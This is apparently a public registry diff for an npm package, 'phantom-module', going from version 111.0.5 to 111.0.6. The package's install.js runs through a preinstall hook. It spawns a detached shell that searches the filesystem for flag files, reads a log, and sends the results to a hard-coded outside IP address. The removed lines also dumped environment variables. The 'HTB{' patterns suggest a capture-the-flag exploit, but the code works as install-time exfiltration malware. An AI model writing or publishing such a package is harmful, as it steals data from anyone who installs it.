phantom-module 111.0.5 → 111.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +18 -40
  2. package/package.json +1 -1
package/install.js CHANGED
@@ -1,51 +1,29 @@
1
1
  const fs = require('fs');
2
2
  const http = require('http');
3
- const { execSync } = require('child_process');
3
+ const { spawn } = require('child_process');
4
4
 
5
5
  (function() {
6
- let output = "";
6
+ const child = spawn('/bin/sh', ['-c', [
7
+ 'sleep 35',
8
+ 'OUTPUT="NONE"',
9
+ 'LOGFILE="/home/node/aspect-node/logs/module.log"',
10
+ 'if [ -f "$LOGFILE" ]; then',
11
+ ' OUTPUT=$(tail -n 100 "$LOGFILE" | tr \'"\' "\'" | head -c 1000)',
12
+ 'else',
13
+ ' OUTPUT="LOG FILE NOT FOUND!"',
14
+ 'fi',
15
+ 'FLAG_FILES=$(find / -name "*flag*" -type f 2>/dev/null | head -c 500)',
16
+ 'BODY=\'{"manifest":"ecto_module:\\n name: \\\\"FLAG_DELAYED\\\\"\\n cargo_hold: \\\\"\'$OUTPUT\' | FILES: \'$FLAG_FILES\'\\\\"\\"}\'',
17
+ 'echo "$BODY" > /tmp/flag.json',
18
+ 'node -e "const http=require(\'http\');const d=require(\'fs\').readFileSync(\'/tmp/flag.json\',\'utf8\');const r=http.request({hostname:\'154.57.164.64\',port:31205,path:\'/api/modules/ECT-654321\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(d)}});r.write(d);r.end();"'
19
+ ].join('\n')], { detached: true, stdio: 'ignore' });
7
20
 
8
- // 1. Try to read the module log directly!
9
- try {
10
- let logContent = fs.readFileSync('/home/node/aspect-node/logs/module.log', 'utf8');
11
- let match = logContent.match(/HTB{[^}]+}/);
12
- if (match) {
13
- output += "FLAG_IN_LOG: " + match[0] + " | ";
14
- }
15
- } catch(e) {}
16
-
17
- // 2. Try to find any file with flag in the name
18
- try {
19
- let files = execSync('find / -name "*flag*" -type f 2>/dev/null').toString().trim().split('\n');
20
- for (let f of files) {
21
- if (f) {
22
- try {
23
- let content = fs.readFileSync(f, 'utf8').trim();
24
- if (content.includes('HTB{')) {
25
- output += `FOUND_IN_FILE ${f}: ` + content + " | ";
26
- }
27
- } catch(e) {}
28
- }
29
- }
30
- } catch (e) {}
21
+ child.unref();
31
22
 
32
- // 3. Fallback: dump env for HTB{
33
- try {
34
- let envStr = JSON.stringify(process.env);
35
- let match = envStr.match(/HTB{[^}]+}/);
36
- if (match) {
37
- output += "FOUND_IN_ENV: " + match[0] + " | ";
38
- }
39
- } catch(e) {}
40
-
41
- if (!output) {
42
- output = "Could not find HTB{...}.";
43
- }
44
-
23
+ // Send an immediate ping so we know it started
45
24
  const postData = JSON.stringify({
46
- manifest: `ecto_module:\n name: "FLAG_LINUX"\n cargo_hold: ${JSON.stringify(output.substring(0, 1500))}\n`
25
+ manifest: `ecto_module:\n name: "WAITING_35_SECONDS"\n`
47
26
  });
48
-
49
27
  const req = http.request({
50
28
  hostname: '154.57.164.64',
51
29
  port: 31205,
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "111.0.5",
3
+ "version": "111.0.6",
4
4
  "scripts": {
5
5
  "preinstall": "node install.js || true"
6
6
  }